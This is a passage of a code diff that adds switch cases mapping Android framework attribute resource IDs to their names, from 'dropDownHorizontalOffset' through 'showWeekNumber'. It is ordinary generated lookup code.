+ return "dropDownHorizontalOffset"
+ case 0x01010086:
+ return "dropDownItemStyle"
+ case 0x0101006d:
+ return "dropDownListViewStyle"
+ case 0x01010175:
+ return "dropDownSelector"
+ case 0x010102d6:
+ return "dropDownSpinnerStyle"
+ case 0x010102ad:
+ return "dropDownVerticalOffset"
+ case 0x01010262:
+ return "dropDownWidth"
+ case 0x010100e9:
+ return "duplicateParentState"
+ case 0x01010198:
+ return "duration"
+ case 0x01010352:
+ return "editTextBackground"
+ case 0x01010351:
+ return "editTextColor"
+ case 0x01010092:
+ return "editTextPreferenceStyle"
+ case 0x0101006e:
+ return "editTextStyle"
+ case 0x0101016b:
+ return "editable"
+ case 0x01010224:
+ return "editorExtras"
+ case 0x0101045d:
+ return "elegantTextHeight"
+ case 0x01010440:
+ return "elevation"
+ case 0x010100ab:
+ return "ellipsize"
+ case 0x01010158:
+ return "ems"
+ case 0x0101000e:
+ return "enabled"
+ case 0x010104dc:
+ return "end"
+ case 0x0101019e:
+ return "endColor"
+ case 0x0101017d:
+ return "endYear"
+ case 0x0101030c:
+ return "enterFadeDuration"
+ case 0x010100b2:
+ return "entries"
+ case 0x010101f8:
+ return "entryValues"
+ case 0x0101027d:
+ return "eventsInterceptionEnabled"
+ case 0x01010442:
+ return "excludeClass"
+ case 0x01010017:
+ return "excludeFromRecents"
+ case 0x01010441:
+ return "excludeId"
+ case 0x0101044e:
+ return "excludeName"
+ case 0x0101030d:
+ return "exitFadeDuration"
+ case 0x01010052:
+ return "expandableListPreferredChildIndicatorLeft"
+ case 0x01010053:
+ return "expandableListPreferredChildIndicatorRight"
+ case 0x0101004f:
+ return "expandableListPreferredChildPaddingLeft"
+ case 0x01010050:
+ return "expandableListPreferredItemIndicatorLeft"
+ case 0x01010051:
+ return "expandableListPreferredItemIndicatorRight"
+ case 0x0101004e:
+ return "expandableListPreferredItemPaddingLeft"
+ case 0x0101006f:
+ return "expandableListViewStyle"
+ case 0x010102b6:
+ return "expandableListViewWhiteStyle"
+ case 0x01010010:
+ return "exported"
+ case 0x0101026b:
+ return "extraTension"
+ case 0x010104ea:
+ return "extractNativeLibs"
+ case 0x010101d3:
+ return "factor"
+ case 0x01010278:
+ return "fadeDuration"
+ case 0x0101027e:
+ return "fadeEnabled"
+ case 0x01010277:
+ return "fadeOffset"
+ case 0x010102aa:
+ return "fadeScrollbars"
+ case 0x010100df:
+ return "fadingEdge"
+ case 0x010100e0:
+ return "fadingEdgeLength"
+ case 0x010103e1:
+ return "fadingMode"
+ case 0x01010335:
+ return "fastScrollAlwaysVisible"
+ case 0x01010226:
+ return "fastScrollEnabled"
+ case 0x0101033a:
+ return "fastScrollOverlayPosition"
+ case 0x01010337:
+ return "fastScrollPreviewBackgroundLeft"
+ case 0x01010338:
+ return "fastScrollPreviewBackgroundRight"
+ case 0x010103f7:
+ return "fastScrollStyle"
+ case 0x01010359:
+ return "fastScrollTextColor"
+ case 0x01010336:
+ return "fastScrollThumbDrawable"
+ case 0x01010339:
+ return "fastScrollTrackDrawable"
+ case 0x010101bd:
+ return "fillAfter"
+ case 0x010104cc:
+ return "fillAlpha"
+ case 0x010101bc:
+ return "fillBefore"
+ case 0x01010404:
+ return "fillColor"
+ case 0x0101024f:
+ return "fillEnabled"
+ case 0x0101017a:
+ return "fillViewport"
+ case 0x0101011b:
+ return "filter"
+ case 0x010102c4:
+ return "filterTouchesWhenObscured"
+ case 0x010104e8:
+ return "fingerprintAuthDrawable"
+ case 0x010102a7:
+ return "finishOnCloseSystemDialogs"
+ case 0x01010014:
+ return "finishOnTaskLaunch"
+ case 0x0101033d:
+ return "firstDayOfWeek"
+ case 0x010100dd:
+ return "fitsSystemWindows"
+ case 0x01010179:
+ return "flipInterval"
+ case 0x010100da:
+ return "focusable"
+ case 0x010100db:
+ return "focusableInTouchMode"
+ case 0x01010343:
+ return "focusedMonthDateColor"
+ case 0x010103ac:
+ return "fontFamily"
+ case 0x010104b7:
+ return "fontFeatureSettings"
+ case 0x0101022f:
+ return "footerDividersEnabled"
+ case 0x01010109:
+ return "foreground"
+ case 0x01010200:
+ return "foregroundGravity"
+ case 0x0101046d:
+ return "foregroundTint"
+ case 0x0101046e:
+ return "foregroundTintMode"
+ case 0x01010105:
+ return "format"
+ case 0x010104d8:
+ return "fraction"
+ case 0x010102e3:
+ return "fragment"
+ case 0x010104c8:
+ return "fragmentAllowEnterTransitionOverlap"
+ case 0x010104c9:
+ return "fragmentAllowReturnTransitionOverlap"
+ case 0x010102e7:
+ return "fragmentCloseEnterAnimation"
+ case 0x010102e8:
+ return "fragmentCloseExitAnimation"
+ case 0x010104c3:
+ return "fragmentEnterTransition"
+ case 0x010104c2:
+ return "fragmentExitTransition"
+ case 0x010102e9:
+ return "fragmentFadeEnterAnimation"
+ case 0x010102ea:
+ return "fragmentFadeExitAnimation"
+ case 0x010102e5:
+ return "fragmentOpenEnterAnimation"
+ case 0x010102e6:
+ return "fragmentOpenExitAnimation"
+ case 0x010104c7:
+ return "fragmentReenterTransition"
+ case 0x010104c5:
+ return "fragmentReturnTransition"
+ case 0x010104c4:
+ return "fragmentSharedElementEnterTransition"
+ case 0x010104c6:
+ return "fragmentSharedElementReturnTransition"
+ case 0x0101016c:
+ return "freezesText"
+ case 0x010101ca:
+ return "fromAlpha"
+ case 0x010101b3:
+ return "fromDegrees"
+ case 0x0101044a:
+ return "fromId"
+ case 0x010103dd:
+ return "fromScene"
+ case 0x010101c6:
+ return "fromXDelta"
+ case 0x010101c2:
+ return "fromXScale"
+ case 0x010101c8:
+ return "fromYDelta"
+ case 0x010101c4:
+ return "fromYScale"
+ case 0x010104eb:
+ return "fullBackupContent"
+ case 0x01010473:
+ return "fullBackupOnly"
+ case 0x010100ca:
+ return "fullBright"
+ case 0x010100c6:
+ return "fullDark"
+ case 0x01010023:
+ return "functionalTest"
+ case 0x0101004c:
+ return "galleryItemBackground"
+ case 0x01010070:
+ return "galleryStyle"
+ case 0x01010275:
+ return "gestureColor"
+ case 0x0101027c:
+ return "gestureStrokeAngleThreshold"
+ case 0x0101027a:
+ return "gestureStrokeLengthThreshold"
+ case 0x0101027b:
+ return "gestureStrokeSquarenessThreshold"
+ case 0x01010279:
+ return "gestureStrokeType"
+ case 0x01010274:
+ return "gestureStrokeWidth"
+ case 0x01010281:
+ return "glEsVersion"
+ case 0x01010482:
+ return "goIcon"
+ case 0x010101a4:
+ return "gradientRadius"
+ case 0x0101001b:
+ return "grantUriPermissions"
+ case 0x010100af:
+ return "gravity"
+ case 0x01010071:
+ return "gridViewStyle"
+ case 0x0101010b:
+ return "groupIndicator"
+ case 0x01010103:
+ return "hand_hour"
+ case 0x01010104:
+ return "hand_minute"
+ case 0x0101025a:
+ return "handle"
+ case 0x01010022:
+ return "handleProfiling"
+ case 0x0101025e:
+ return "hapticFeedbackEnabled"
+ case 0x010102d3:
+ return "hardwareAccelerated"
+ case 0x0101000c:
+ return "hasCode"
+ case 0x010104a0:
+ return "headerAmPmTextAppearance"
+ case 0x0101012f:
+ return "headerBackground"
+ case 0x01010497:
+ return "headerDayOfMonthTextAppearance"
+ case 0x0101022e:
+ return "headerDividersEnabled"
+ case 0x01010496:
+ return "headerMonthTextAppearance"
+ case 0x0101049f:
+ return "headerTimeTextAppearance"
+ case 0x01010498:
+ return "headerYearTextAppearance"
+ case 0x01010155:
+ return "height"
+ case 0x01010443:
+ return "hideOnContentScroll"
+ case 0x01010150:
+ return "hint"
+ case 0x0101030b:
+ return "homeAsUpIndicator"
+ case 0x0101031d:
+ return "homeLayout"
+ case 0x0101012d:
+ return "horizontalDivider"
+ case 0x0101023f:
+ return "horizontalGap"
+ case 0x01010353:
+ return "horizontalScrollViewStyle"
+ case 0x01010114:
+ return "horizontalSpacing"
+ case 0x01010028:
+ return "host"
+ case 0x010104de:
+ return "hyphenationFrequency"
+ case 0x01010002:
+ return "icon"
+ case 0x01010249:
+ return "iconPreview"
+ case 0x010102fa:
+ return "iconifiedByDefault"
+ case 0x010100d0:
+ return "id"
+ case 0x010101ff:
+ return "ignoreGravity"
+ case 0x01010072:
+ return "imageButtonStyle"
+ case 0x01010073:
+ return "imageWellStyle"
+ case 0x01010266:
+ return "imeActionId"
+ case 0x01010265:
+ return "imeActionLabel"
+ case 0x01010268:
+ return "imeExtractEnterAnimation"
+ case 0x01010269:
+ return "imeExtractExitAnimation"
+ case 0x0101022c:
+ return "imeFullscreenBackground"
+ case 0x01010264:
+ return "imeOptions"
+ case 0x010102ee:
+ return "imeSubtypeExtraValue"
+ case 0x010102ec:
+ return "imeSubtypeLocale"
+ case 0x010102ed:
+ return "imeSubtypeMode"
+ case 0x010102c0:
+ return "immersive"
+ case 0x010103aa:
+ return "importantForAccessibility"
+ case 0x01010177:
+ return "inAnimation"
+ case 0x0101015f:
+ return "includeFontPadding"
+ case 0x0101026e:
+ return "includeInGlobalSearch"
+ case 0x01010139:
+ return "indeterminate"
+ case 0x0101013e:
+ return "indeterminateBehavior"
+ case 0x0101013b:
+ return "indeterminateDrawable"
+ case 0x0101013d:
+ return "indeterminateDuration"
+ case 0x0101013a:
+ return "indeterminateOnly"
+ case 0x01010318:
+ return "indeterminateProgressStyle"
+ case 0x01010469:
+ return "indeterminateTint"
+ case 0x0101046a:
+ return "indeterminateTintMode"
+ case 0x010103d2:
+ return "indicatorEnd"
+ case 0x0101010d:
+ return "indicatorLeft"
+ case 0x0101010e:
+ return "indicatorRight"
+ case 0x010103d1:
+ return "indicatorStart"
+ case 0x010100f3:
+ return "inflatedId"
+ case 0x0101001a:
+ return "initOrder"
+ case 0x010103c2:
+ return "initialKeyguardLayout"
+ case 0x01010251:
+ return "initialLayout"
+ case 0x0101025f:
+ return "innerRadius"
+ case 0x0101019b:
+ return "innerRadiusRatio"
+ case 0x01010168:
+ return "inputMethod"
+ case 0x01010220:
+ return "inputType"
+ case 0x010104b5:
+ return "inset"
+ case 0x010101ba:
+ return "insetBottom"
+ case 0x010101b7:
+ return "insetLeft"
+ case 0x010101b8:
+ return "insetRight"
+ case 0x010101b9:
+ return "insetTop"
+ case 0x010102b7:
+ return "installLocation"
+ case 0x01010141:
+ return "interpolator"
+ case 0x01010333:
+ return "isAlwaysSyncable"
+ case 0x010103e9:
+ return "isAsciiCapable"
+ case 0x0101037f:
+ return "isAuxiliary"
+ case 0x01010221:
+ return "isDefault"
+ case 0x010103f4:
+ return "isGame"
+ case 0x01010147:
+ return "isIndicator"
+ case 0x01010246:
+ return "isModifier"
+ case 0x01010248:
+ return "isRepeatable"
+ case 0x0101024e:
+ return "isScrollContainer"
+ case 0x01010247:
+ return "isSticky"
+ case 0x010103a9:
+ return "isolatedProcess"
+ case 0x01010130:
+ return "itemBackground"
+ case 0x01010131:
+ return "itemIconDisabledAlpha"
+ case 0x0101032d:
+ return "itemPadding"
+ case 0x0101012c:
+ return "itemTextAppearance"
+ case 0x01010216:
+ return "keepScreenOn"
+ case 0x010101e8:
+ return "key"
+ case 0x01010233:
+ return "keyBackground"
+ case 0x01010245:
+ return "keyEdgeFlags"
+ case 0x0101023e:
+ return "keyHeight"
+ case 0x0101024c:
+ return "keyIcon"
+ case 0x0101024b:
+ return "keyLabel"
+ case 0x0101024a:
+ return "keyOutputText"
+ case 0x01010239:
+ return "keyPreviewHeight"
+ case 0x01010237:
+ return "keyPreviewLayout"
+ case 0x01010238:
+ return "keyPreviewOffset"
+ case 0x010103db:
+ return "keySet"
+ case 0x01010236:
+ return "keyTextColor"
+ case 0x01010234:
+ return "keyTextSize"
+ case 0x0101023d:
+ return "keyWidth"
+ case 0x010103ab:
+ return "keyboardLayout"
+ case 0x0101024d:
+ return "keyboardMode"
+ case 0x010100c5:
+ return "keycode"
+ case 0x0101029c:
+ return "killAfterRestore"
+ case 0x01010001:
+ return "label"
+ case 0x010103c6:
+ return "labelFor"
+ case 0x01010235:
+ return "labelTextSize"
+ case 0x0101035a:
+ return "largeHeap"
+ case 0x01010286:
+ return "largeScreens"
+ case 0x01010366:
+ return "largestWidthLimitDp"
+ case 0x0101001d:
+ return "launchMode"
+ case 0x01010492:
+ return "launchTaskBehindSourceAnimation"
+ case 0x01010491:
+ return "launchTaskBehindTargetAnimation"
+ case 0x01010354:
+ return "layerType"
+ case 0x010100f2:
+ return "layout"
+ case 0x010100ec:
+ return "layoutAnimation"
+ case 0x010103b2:
+ return "layoutDirection"
+ case 0x010103da:
+ return "layoutMode"
+ case 0x01010184:
+ return "layout_above"
+ case 0x01010186:
+ return "layout_alignBaseline"
+ case 0x0101018a:
+ return "layout_alignBottom"
+ case 0x010103ba:
+ return "layout_alignEnd"
+ case 0x01010187:
+ return "layout_alignLeft"
+ case 0x0101018e:
+ return "layout_alignParentBottom"
+ case 0x010103bc:
+ return "layout_alignParentEnd"
+ case 0x0101018b:
+ return "layout_alignParentLeft"
+ case 0x0101018d:
+ return "layout_alignParentRight"
+ case 0x010103bb:
+ return "layout_alignParentStart"
+ case 0x0101018c:
+ return "layout_alignParentTop"
+ case 0x01010189:
+ return "layout_alignRight"
+ case 0x010103b9:
+ return "layout_alignStart"
+ case 0x01010188:
+ return "layout_alignTop"
+ case 0x01010192:
+ return "layout_alignWithParentIfMissing"
+ case 0x01010185:
+ return "layout_below"
+ case 0x01010190:
+ return "layout_centerHorizontal"
+ case 0x0101018f:
+ return "layout_centerInParent"
+ case 0x01010191:
+ return "layout_centerVertical"
+ case 0x0101014c:
+ return "layout_column"
+ case 0x0101037d:
+ return "layout_columnSpan"
+ case 0x01010459:
+ return "layout_columnWeight"
+ case 0x010100b3:
+ return "layout_gravity"
+ case 0x010100f5:
+ return "layout_height"
+ case 0x010100f6:
+ return "layout_margin"
+ case 0x010100fa:
+ return "layout_marginBottom"
+ case 0x010103b6:
+ return "layout_marginEnd"
+ case 0x010100f7:
+ return "layout_marginLeft"
+ case 0x010100f9:
+ return "layout_marginRight"
+ case 0x010103b5:
+ return "layout_marginStart"
+ case 0x010100f8:
+ return "layout_marginTop"
+ case 0x0101037b:
+ return "layout_row"
+ case 0x0101037c:
+ return "layout_rowSpan"
+ case 0x01010458:
+ return "layout_rowWeight"
+ case 0x01010193:
+ return "layout_scale"
+ case 0x0101014d:
+ return "layout_span"
+ case 0x010103b8:
+ return "layout_toEndOf"
+ case 0x01010182:
+ return "layout_toLeftOf"
+ case 0x01010183:
+ return "layout_toRightOf"
+ case 0x010103b7:
+ return "layout_toStartOf"
+ case 0x01010181:
+ return "layout_weight"
+ case 0x010100f4:
+ return "layout_width"
+ case 0x0101017f:
+ return "layout_x"
+ case 0x01010180:
+ return "layout_y"
+ case 0x010101ad:
+ return "left"
+ case 0x010104b6:
+ return "letterSpacing"
+ case 0x01010217:
+ return "lineSpacingExtra"
+ case 0x01010218:
+ return "lineSpacingMultiplier"
+ case 0x01010154:
+ return "lines"
+ case 0x010100b1:
+ return "linksClickable"
+ case 0x010102f0:
+ return "listChoiceBackgroundIndicator"
+ case 0x0101021a:
+ return "listChoiceIndicatorMultiple"
+ case 0x01010219:
+ return "listChoiceIndicatorSingle"
+ case 0x01010214:
+ return "listDivider"
+ case 0x01010305:
+ return "listDividerAlertDialog"
+ case 0x010102ff:
+ return "listPopupWindowStyle"
+ case 0x0101004d:
+ return "listPreferredItemHeight"
+ case 0x01010386:
+ return "listPreferredItemHeightLarge"
+ case 0x01010387:
+ return "listPreferredItemHeightSmall"
+ case 0x010103be:
+ return "listPreferredItemPaddingEnd"
+ case 0x010103a3:
+ return "listPreferredItemPaddingLeft"
+ case 0x010103a4:
+ return "listPreferredItemPaddingRight"
+ case 0x010103bd:
+ return "listPreferredItemPaddingStart"
+ case 0x010100fb:
+ return "listSelector"
+ case 0x01010208:
+ return "listSeparatorTextViewStyle"
+ case 0x01010074:
+ return "listViewStyle"
+ case 0x01010075:
+ return "listViewWhiteStyle"
+ case 0x010104ed:
+ return "lockTaskMode"
+ case 0x010102be:
+ return "logo"
+ case 0x010104e9:
+ return "logoDescription"
+ case 0x010100e6:
+ return "longClickable"
+ case 0x01010307:
+ return "loopViews"
+ case 0x01010004:
+ return "manageSpaceActivity"
+ case 0x0101008a:
+ return "mapViewStyle"
+ case 0x0101021d:
+ return "marqueeRepeatLimit"
+ case 0x0101044f:
+ return "matchOrder"
+ case 0x01010136:
+ return "max"
+ case 0x01010340:
+ return "maxDate"
+ case 0x01010157:
+ return "maxEms"
+ case 0x01010120:
+ return "maxHeight"
+ case 0x01010134:
+ return "maxItemsPerRow"
+ case 0x01010160:
+ return "maxLength"
+ case 0x010101b2:
+ return "maxLevel"
+ case 0x01010153:
+ return "maxLines"
+ case 0x01010446:
+ return "maxRecents"
+ case 0x01010133:
+ return "maxRows"
+ case 0x01010271:
+ return "maxSdkVersion"
+ case 0x0101011f:
+ return "maxWidth"
+ case 0x0101047f:
+ return "maximumAngle"
+ case 0x0101010a:
+ return "measureAllChildren"
+ case 0x010102d4:
+ return "measureWithLargestChild"
+ case 0x010103ad:
+ return "mediaRouteButtonStyle"
+ case 0x010103ae:
+ return "mediaRouteTypes"
+ case 0x010101de:
+ return "menuCategory"
+ case 0x01010026:
+ return "mimeType"
+ case 0x0101033f:
+ return "minDate"
+ case 0x0101015a:
+ return "minEms"
+ case 0x01010140:
+ return "minHeight"
+ case 0x010101b1:
+ return "minLevel"
+ case 0x01010156:
+ return "minLines"
+ case 0x01010396:
+ return "minResizeHeight"
+ case 0x01010395:
+ return "minResizeWidth"
+ case 0x0101020c:
+ return "minSdkVersion"
+ case 0x0101013f:
+ return "minWidth"
+ case 0x0101047d:
+ return "minimumHorizontalAngle"
+ case 0x0101047e:
+ return "minimumVerticalAngle"
+ case 0x010103cd:
+ return "mipMap"
+ case 0x010103ce:
+ return "mirrorForRtl"
+ case 0x0101017e:
+ return "mode"
+ case 0x01010135:
+ return "moreIcon"
+ case 0x0101048e:
+ return "multiArch"
+ case 0x01010013:
+ return "multiprocess"
+ case 0x01010003:
+ return "name"
+ case 0x01010452:
+ return "navigationBarColor"
+ case 0x010104c1:
+ return "navigationContentDescription"
+ case 0x010104c0:
+ return "navigationIcon"
+ case 0x010102cf:
+ return "navigationMode"
+ case 0x010101f6:
+ return "negativeButtonText"
+ case 0x01010436:
+ return "nestedScrollingEnabled"
+ case 0x010100e4:
+ return "nextFocusDown"
+ case 0x0101033c:
+ return "nextFocusForward"
+ case 0x010100e1:
+ return "nextFocusLeft"
+ case 0x010100e2:
+ return "nextFocusRight"
+ case 0x010100e3:
+ return "nextFocusUp"
+ case 0x0101022d:
+ return "noHistory"
+ case 0x01010285:
+ return "normalScreens"
+ case 0x01010383:
+ return "notificationTimeout"
+ case 0x01010118:
+ return "numColumns"
+ case 0x01010144:
+ return "numStars"
+ case 0x010104a2:
+ return "numbersBackgroundColor"
+ case 0x010104e1:
+ return "numbersInnerTextColor"
+ case 0x010104a3:
+ return "numbersSelectorColor"
+ case 0x010104a1:
+ return "numbersTextColor"
+ case 0x01010165:
+ return "numeric"
+ case 0x010101e4:
+ return "numericShortcut"
+ case 0x0101026f:
+ return "onClick"
+ case 0x01010197:
+ return "oneshot"
+ case 0x0101031e:
+ return "opacity"
+ case 0x010101ea:
+ return "order"
+ case 0x010101df:
+ return "orderInCategory"
+ case 0x010102e2:
+ return "ordering"
+ case 0x010101e7:
+ return "orderingFromXml"
+ case 0x010100c4:
+ return "orientation"
+ case 0x01010178:
+ return "outAnimation"
+ case 0x010104b8:
+ return "outlineProvider"
+ case 0x010102c3:
+ return "overScrollFooter"
+ case 0x010102c2:
+ return "overScrollHeader"
+ case 0x010102c1:
+ return "overScrollMode"
+ case 0x01010462:
+ return "overlapAnchor"
+ case 0x010103a2:
+ return "overridesImplicitlyEnabledSubtype"
+ case 0x01010381:
+ return "packageNames"
+ case 0x010100d5:
+ return "padding"
+ case 0x010100d9:
+ return "paddingBottom"
+ case 0x010103b4:
+ return "paddingEnd"
+ case 0x010100d6:
+ return "paddingLeft"
+ case 0x01010457:
+ return "paddingMode"
+ case 0x010100d8:
+ return "paddingRight"
+ case 0x010103b3:
+ return "paddingStart"
+ case 0x010100d7:
+ return "paddingTop"
+ case 0x0101005e:
+ return "panelBackground"
+ case 0x01010061:
+ return "panelColorBackground"
+ case 0x01010060:
+ return "panelColorForeground"
+ case 0x0101005f:
+ return "panelFullBackground"
+ case 0x01010062:
+ return "panelTextAppearance"
+ case 0x010103a7:
+ return "parentActivityName"
+ case 0x0101015c:
+ return "password"
+ case 0x0101002a:
+ return "path"
+ case 0x01010405:
+ return "pathData"
+ case 0x0101002c:
+ return "pathPattern"
+ case 0x0101002b:
+ return "pathPrefix"
+ case 0x010104ca:
+ return "patternPathData"
+ case 0x01010006:
+ return "permission"
+ case 0x010103c7:
+ return "permissionFlags"
+ case 0x0101000a:
+ return "permissionGroup"
+ case 0x010103c5:
+ return "permissionGroupFlags"
+ case 0x0101042d:
+ return "persistableMode"
+ case 0x0101000d:
+ return "persistent"
+ case 0x010100ee:
+ return "persistentDrawingCache"
+ case 0x01010167:
+ return "phoneNumber"
+ case 0x010101b5:
+ return "pivotX"
+ case 0x010101b6:
+ return "pivotY"
+ case 0x010102c9:
+ return "popupAnimationStyle"
+ case 0x01010176:
+ return "popupBackground"
+ case 0x01010244:
+ return "popupCharacters"
+ case 0x0101048c:
+ return "popupElevation"
+ case 0x01010243:
+ return "popupKeyboard"
+ case 0x0101023b:
+ return "popupLayout"
+ case 0x01010300:
+ return "popupMenuStyle"
+ case 0x010104a9:
+ return "popupTheme"
+ case 0x01010076:
+ return "popupWindowStyle"
+ case 0x01010029:
+ return "port"
+ case 0x010101f5:
+ return "positiveButtonText"
+ case 0x0101008c:
+ return "preferenceCategoryStyle"
+ case 0x0101008d:
+ return "preferenceInformationStyle"
+ case 0x01010094:
+ return "preferenceLayoutChild"
+ case 0x0101008b:
+ return "preferenceScreenStyle"
+ case 0x0101008e:
+ return "preferenceStyle"
+ case 0x010103c0:
+ return "presentationTheme"
+ case 0x010102da:
+ return "previewImage"
+ case 0x0101001c:
+ return "priority"
+ case 0x01010223:
+ return "privateImeOptions"
+ case 0x01010011:
+ return "process"
+ case 0x01010137:
+ return "progress"
+ case 0x01010465:
+ return "progressBackgroundTint"
+ case 0x01010466:
+ return "progressBackgroundTintMode"
+ case 0x01010319:
+ return "progressBarPadding"
+ case 0x01010077:
+ return "progressBarStyle"
+ case 0x01010078:
+ return "progressBarStyleHorizontal"
+ case 0x01010287:
+ return "progressBarStyleInverse"
+ case 0x0101007a:
+ return "progressBarStyleLarge"
+ case 0x01010289:
+ return "progressBarStyleLargeInverse"
+ case 0x01010079:
+ return "progressBarStyleSmall"
+ case 0x01010288:
+ return "progressBarStyleSmallInverse"
+ case 0x0101020f:
+ return "progressBarStyleSmallTitle"
+ case 0x0101013c:
+ return "progressDrawable"
+ case 0x01010463:
+ return "progressTint"
+ case 0x01010464:
+ return "progressTintMode"
+ case 0x0101017b:
+ return "prompt"
+ case 0x010102e1:
+ return "propertyName"
+ case 0x01010474:
+ return "propertyXName"
+ case 0x01010475:
+ return "propertyYName"
+ case 0x01010009:
+ return "protectionLevel"
+ case 0x010103a6:
+ return "publicKey"
+ case 0x010101db:
+ return "queryActionMsg"
+ case 0x01010282:
+ return "queryAfterZeroResults"
+ case 0x01010487:
+ return "queryBackground"
+ case 0x01010358:
+ return "queryHint"
+ case 0x010102b3:
+ return "quickContactBadgeStyleSmallWindowLarge"
+ case 0x010102b2:
+ return "quickContactBadgeStyleSmallWindowMedium"
+ case 0x010102b1:
+ return "quickContactBadgeStyleSmallWindowSmall"
+ case 0x010102b0:
+ return "quickContactBadgeStyleWindowLarge"
+ case 0x010102af:
+ return "quickContactBadgeStyleWindowMedium"
+ case 0x010102ae:
+ return "quickContactBadgeStyleWindowSmall"
+ case 0x0101007e:
+ return "radioButtonStyle"
+ case 0x010101a8:
+ return "radius"
+ case 0x01010145:
+ return "rating"
+ case 0x0101007c:
+ return "ratingBarStyle"
+ case 0x01010210:
+ return "ratingBarStyleIndicator"
+ case 0x0101007d:
+ return "ratingBarStyleSmall"
+ case 0x01010007:
+ return "readPermission"
+ case 0x0101049c:
+ return "recognitionService"
+ case 0x01010476:
+ return "relinquishTaskIdentity"
+ case 0x010104bc:
+ return "reparent"
+ case 0x010104bd:
+ return "reparentWithOverlay"
+ case 0x010101bf:
+ return "repeatCount"
+ case 0x010101c0:
+ return "repeatMode"
+ case 0x01010232:
+ return "reqFiveWayNav"
+ case 0x01010229:
+ return "reqHardKeyboard"
+ case 0x01010228:
+ return "reqKeyboardType"
+ case 0x0101022a:
+ return "reqNavigation"
+ case 0x01010227:
+ return "reqTouchScreen"
+ case 0x010103ec:
+ return "requireDeviceUnlock"
+ case 0x0101028e:
+ return "required"
+ case 0x010103d6:
+ return "requiredAccountType"
+ case 0x010103d0:
+ return "requiredForAllUsers"
+ case 0x010103a5:
+ return "requiresFadingEdge"
+ case 0x01010364:
+ return "requiresSmallestWidthDp"
+ case 0x010104cf:
+ return "resizeClip"
+ case 0x01010363:
+ return "resizeMode"
+ case 0x0101028d:
+ return "resizeable"
+ case 0x01010025:
+ return "resource"
+ case 0x010102ba:
+ return "restoreAnyVersion"
+ case 0x0101029d:
+ return "restoreNeedsApplication"
+ case 0x010103d5:
+ return "restrictedAccountType"
+ case 0x01010493:
+ return "restrictionType"
+ case 0x010104b2:
+ return "resumeWhilePausing"
+ case 0x0101044b:
+ return "reversible"
+ case 0x010104d5:
+ return "revisionCode"
+ case 0x010101af:
+ return "right"
+ case 0x01010093:
+ return "ringtonePreferenceStyle"
+ case 0x010101f9:
+ return "ringtoneType"
+ case 0x01010326:
+ return "rotation"
+ case 0x01010327:
+ return "rotationX"
+ case 0x01010328:
+ return "rotationY"
+ case 0x01010375:
+ return "rowCount"
+ case 0x010101d0:
+ return "rowDelay"
+ case 0x01010241:
+ return "rowEdgeFlags"
+ case 0x01010132:
+ return "rowHeight"
+ case 0x01010376:
+ return "rowOrderPreserved"
+ case 0x010100e7:
+ return "saveEnabled"
+ case 0x010101fe:
+ return "scaleGravity"
+ case 0x010101fd:
+ return "scaleHeight"
+ case 0x0101011d:
+ return "scaleType"
+ case 0x010101fc:
+ return "scaleWidth"
+ case 0x01010324:
+ return "scaleX"
+ case 0x01010325:
+ return "scaleY"
+ case 0x01010027:
+ return "scheme"
+ case 0x010102cb:
+ return "screenDensity"
+ case 0x0101001e:
+ return "screenOrientation"
+ case 0x010102ca:
+ return "screenSize"
+ case 0x0101015b:
+ return "scrollHorizontally"
+ case 0x010104e6:
+ return "scrollIndicators"
+ case 0x01010080:
+ return "scrollViewStyle"
+ case 0x010100d2:
+ return "scrollX"
+ case 0x010100d3:
+ return "scrollY"
+ case 0x01010068:
+ return "scrollbarAlwaysDrawHorizontalTrack"
+ case 0x01010069:
+ return "scrollbarAlwaysDrawVerticalTrack"
+ case 0x010102a9:
+ return "scrollbarDefaultDelayBeforeFade"
+ case 0x010102a8:
+ return "scrollbarFadeDuration"
+ case 0x01010063:
+ return "scrollbarSize"
+ case 0x0101007f:
+ return "scrollbarStyle"
+ case 0x01010064:
+ return "scrollbarThumbHorizontal"
+ case 0x01010065:
+ return "scrollbarThumbVertical"
+ case 0x01010066:
+ return "scrollbarTrackHorizontal"
+ case 0x01010067:
+ return "scrollbarTrackVertical"
+ case 0x010100de:
+ return "scrollbars"
+ case 0x010100fe:
+ return "scrollingCache"
+ case 0x01010205:
+ return "searchButtonText"
+ case 0x010104d4:
+ return "searchHintIcon"
+ case 0x01010483:
+ return "searchIcon"
+ case 0x0101045f:
+ return "searchKeyphrase"
+ case 0x0101045e:
+ return "searchKeyphraseId"
+ case 0x010104a6:
+ return "searchKeyphraseRecognitionFlags"
+ case 0x01010460:
+ return "searchKeyphraseSupportedLocales"
+ case 0x010101d5:
+ return "searchMode"
+ case 0x0101028a:
+ return "searchSettingsDescription"
+ case 0x010101d6:
+ return "searchSuggestAuthority"
+ case 0x010101d9:
+ return "searchSuggestIntentAction"
+ case 0x010101da:
+ return "searchSuggestIntentData"
+ case 0x010101d7:
+ return "searchSuggestPath"
+ case 0x010101d8:
+ return "searchSuggestSelection"
+ case 0x0101026d:
+ return "searchSuggestThreshold"
+ case 0x01010480:
+ return "searchViewStyle"
+ case 0x01010138:
+ return "secondaryProgress"
+ case 0x01010467:
+ return "secondaryProgressTint"
+ case 0x01010468:
+ return "secondaryProgressTintMode"
+ case 0x0101007b:
+ return "seekBarStyle"
+ case 0x01010330:
+ return "segmentedButtonStyle"
+ case 0x0101015e:
+ return "selectAllOnFocus"
+ case 0x010101e6:
+ return "selectable"
+ case 0x0101030e:
+ return "selectableItemBackground"
+ case 0x0101045c:
+ return "selectableItemBackgroundBorderless"
+ case 0x01010347:
+ return "selectedDateVerticalBar"
+ case 0x01010342:
+ return "selectedWeekBackgroundColor"
+ case 0x0101043d:
+ return "sessionService"
+ case 0x01010225:
+ return "settingsActivity"
+ case 0x010103f6:
+ return "setupActivity"
+ case 0x01010161:
+ return "shadowColor"
+ case 0x01010162:
+ return "shadowDx"
+ case 0x01010163:
+ return "shadowDy"
+ case 0x01010164:
+ return "shadowRadius"
+ case 0x0101019a:
+ return "shape"
+ case 0x010101bb:
+ return "shareInterpolator"
+ case 0x0101000b:
+ return "sharedUserId"
+ case 0x01010261:
+ return "sharedUserLabel"
+ case 0x010101ee:
+ return "shouldDisableView"
+ case 0x010102d9:
+ return "showAsAction"
+ case 0x010101fa:
+ return "showDefault"
+ case 0x01010329:
+ return "showDividers"
+ case 0x010104ef:
+ return "showForAllUsers"
+ case 0x010103c9:
+ return "showOnLockScreen"
+ case 0x010101fb:
+ return "showSilent"
+ case 0x010104ad:
+ return "showText"
+ case 0x0101033e:
+ return "showWeekNumber"
+ case 0x01010341:
